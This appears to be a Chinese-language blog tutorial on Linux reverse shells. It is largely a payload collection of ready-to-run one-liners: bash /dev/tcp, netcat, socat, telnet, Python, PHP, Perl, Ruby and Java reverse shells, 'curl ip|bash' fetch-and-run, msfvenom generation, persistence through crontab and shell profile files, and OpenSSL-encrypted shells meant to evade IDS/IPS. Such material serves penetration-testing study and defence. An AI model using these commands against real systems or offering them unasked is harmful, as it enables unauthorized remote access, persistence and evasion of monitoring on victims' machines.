Linux 反弹 Shell 的理解及各种方法
本文主要参考于:反弹Shell,看这一篇就够了
关于反弹 Shell
反弹 Shell:就是攻击机监听在某个 TCP/UDP 端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机,相对于正向连接(远程桌面、Web 服务、ssh、telnet),反弹 Shell 属于反向连接。反弹 Shell 通常适用于:
- 目标机因防火墙受限,目标机器只能发送请求,不能接收请求
- 目标机端口被占用
- 目标机位于局域网,或 IP 会动态变化,攻击机无法直接连接
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的
- ……
反弹 Shell 的方法
反弹 Shell 的方法较多,可以使用工具来反弹,如 Bash、NetCat 等,也可以用各种脚本,如 Python、PHP 等
攻击端监听
我们需要在攻击端上进行监听目标端的连接,使用 NetCat 进行监听:
1 | nc -lvnp port |
使用 Bash 来反弹
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
具体的解释如下:
参数-i -c
bash -i
:产生一个交互式的 Bashbash -c
:命令从字符串中读取
文件/dev/tcp
这是 Linux 中的一个特殊文件: 打开这个文件就类似于发出了一个 Socket 调用,建立一个 Socket 连接,读写这个文件就相当于在这个 Socket 连接中传输数据,我们可以通过重定向实现基于 TCP/UDP 协议的软件通讯,只要读取或者写入/dev/tcp/ip/port
,系统就会尝试连接 Ip 对应的 Port 端口
文件描述符
在 linux 中一切皆文件,包括标准输入设备和标准输出设备,为了表示和区分已经打开的文件,linux 会给每个文件分配一个ID
,这个ID
是一个整数,被称为文件描述符
文件描述符 | 文件名 | 类型 | 硬件 |
---|---|---|---|
0 | stdin | 标准输入文件 | 默认设备(键盘) |
1 | stdout | 标准输出文件 | 默认设备(显示器) |
2 | stderr | 标准错误输出文件 | 默认设备(显示器) |
linux 程序在执行任何形式的 I/O 操作时,都是在读取或者写入一个文件描述符。这三个文件默认情况下都是打开的,在重定向的过程中,可以直接使用文件描述符
数据流重定向
基本的重定向:
- 标准输入(stdin):代码为 0,使用 < 或 <<
- 标准输出(stdout):代码为 1,使用 > 或 >>
- 标准错误输出(stderr):代码为 2,使用 2> 或 2>>
在输入重定向中,< 表示标准输入重定向,<< tag 表示将开始标记 tag 和结束标记 tag 的内容直接作为输入,在输出重定向中,> 表示标准输出重定向(直接覆盖文件),>> 表示将输出进行追加文件
一些特殊的用法:
>&
或&>
或2>&1
:将标准错误输出重定向到标准输出中0>&1
:将标准输入重定向到标准输出
反弹原理
首先&>
使得标准输出重定向到了 TCP 连接上,然后0>&1
使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了 TCP 连接中,因此输入和输出都可以在公网主机上进行,通过 TCP 连接和 Bash 进行交互
特殊的方式
写入定时任务
Linux Crontab 是用来定期执行程序的命令
1 | crontab -e |
这里要注意的是受害机为 Centos 时,可以使用bash -i >& /dev/tcp/ip/port 0>&1
或者bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
,而当受害机为 Ubuntu 时,要使用bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
具体原因见:解决ubuntu crontab反弹shell失败的问题
在定时任务执行后,会在/var/log/syslog
等日志留下记录且系统可能会通过邮件通知命令的执行者
写入 Bash 配置
将以下反弹 Shell 的命令写入/etc/profile
文件中,/etc/profile
中的内容会在用户获取 Bash 时执行
1 | bash -i >& /dev/tcp/ip/port 0>&1 & |
这里发现/etc/profile
的权限是-rw-r--r-- root root
一般用户无法修改,从这里反弹的约束比较大,可以把文件换为~/.bash_profile、~/.bash_login、~/.profile
或者~/.bashrc
(不同的获取 Bash 的方法读取的文件不同,具体可以参考:Linux 下的环境变量)来代替,因为这几个文件所需的权限都比较低,但是这几个文件不一定都存在
但我测试了感觉不是很好用,受害机在登陆后一输入命令就会断开连接,也许是环境的问题
其他的方法
1 | exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done |
使用 Curl 来反弹
Curl 是用于在本地计算机与远程服务器之间传输数据的命令行工具。 使用 Curl 时您可以使用 HTTP,HTTPS, SCP , SFTP 和 FTP 等协议下载或上传数据。 Curl 提供了许多选项,使您可以恢复上传下载,限制带宽,代理支持,用户身份验证等。 Curl 命令已预装在大多数 Linux 发行版中。
在攻击者 VPS 的 Web 目录里面创建一个 index 文件(index.php
或index.html
),内容如下:
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
然后再目标机上执行如下,即可反弹 Shell:
1 | curl ip|bash |
curl IP|bash
中的 IP 可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等
利用 Socat 和 Telnet
使用 Socat
攻击机开启本地监听:
1 | socat TCP-LISTEN:port - |
目标机主动连接攻击机:
1 | socat tcp-connect:ip:port exec:'bash -li',pty,stderr,setsid,sigint,sane |
利用 Telnet
方法一:
攻击机开启本地监听:
1 | nc -lvvp port |
目标机主动连接攻击机:
1 | mknod a p; telnet ip port 0<a | /bin/bash 1>a; rm a |
注意:会在受害机上产生一个名为 a,类型为 fifo (named pipe) 的文件,故要加上rm a
(分号让后一命令等待前一命令执行完成后执行)
方法二:
攻击机开启两个本地监听:
1 | nc -lvvp portA |
目标机主动连接攻击机:
1 | telnet ipA portA | /bin/bash | telnet ipB portB |
ipA 的主机输入的命令会在目标机上执行,执行的回显将通过 ipB 的主机显示出来
各种脚本反弹 Shell
使用 Python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",post));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
python -c
:指定要执行的命令
使用 PHP
1 | php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");' |
使用 Perl
1 | perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
使用 Ruby
第一种
1 | ruby -rsocket -e 'c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
第二种
1 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
使用 Java
1 | public class Revs { |
保存为revs.java
执行:
1 | javac revs.java |
使用Runtime.getRuntime().exec()
调用服务器命令进行反弹 Shell
使用 MSF 生成
Metasploit 框架为我们提供了生成一句话反弹 Shell 的工具,即 msfvenom,使用msfvenom -l
来查询生成我们所需要的各类命令行一句话,我们直接可以使用msfvenom -l
结合关键字过滤(如cmd/unix/reverse
),列出我们需要生成的各类反弹 Shell 一句话的 Payload:
1 | msfvenom -l payloads | grep 'cmd/unix/reverse' |
metasploit 支持生成反弹 Shell 一句话的类型非常丰富,比如,我们获取一个 Python 反弹 Shell 的一句话:
1 | msfvenom -p cmd/unix/reverse_python LHOST=ip LPORT=port -f raw |
具体参数可参考:MSFVENOM
获取模拟终端
上面所讲的各种方法获取的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是往往会发现其交互性非常的差,回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种:
- 获取的虚拟终端没有交互性,我们想给添加的账号设置密码或执行 sudo 等命令,无法完成
- 标准的错误输出无法显示,无法正常使用 vim 等文本编辑器等
- 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接
这往往都是因为我们获取的 Shell 并不是标准的虚拟终端,为了能够完成输入密码等操作,我们必须模拟一个真正的终端设备,我们其实可以借助于 Python 默认包含的一个 pty 标准库来获取一个标准的虚拟终端环境,我们只需在获取的 Shell 里面输入如下命令,即可模拟一个终端设备:
1 | python -c "import pty;pty.spawn('/bin/bash')" |
使用 OpenSSl 加密
上文提到的反弹 Shell 的方法都有一个共同点,那就是 所有的流量都是明文传输的,这些通过 Shell 通过传输的流量都可以被管理员直接抓取并理解,当目标主机网络环境存在网络防御检测系统时,如:IDS(Intrusion detection systems 入侵检测系统)、IPS(intrusion prevention systems 入侵防御系统),网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此,我们需要对通信的内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密的 Shell
什么是 OpenSSL
OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份
SSL 协议要求建立在可靠的传输层协议(TCP)之上。SSL 协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET 等)能透明地建立于 SSL 协议之上。SSL 协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性
生成证书
在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书
1 | openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes |
生成时会提示输入证书的信息,如果不想填一路回车即可
反弹加密的 Shell
需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口
1 | openssl s_server -quiet -key key.pem -cert cert.pem -port port |
此时 OpenSSL 便在攻击机的 port 端口上启动了一个 SSL/TLS server
这时在目标机进行反弹 Shell 操作,命令为:
1 | mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s |
这样就让反弹 Shell 的流量加密了
本文参考链接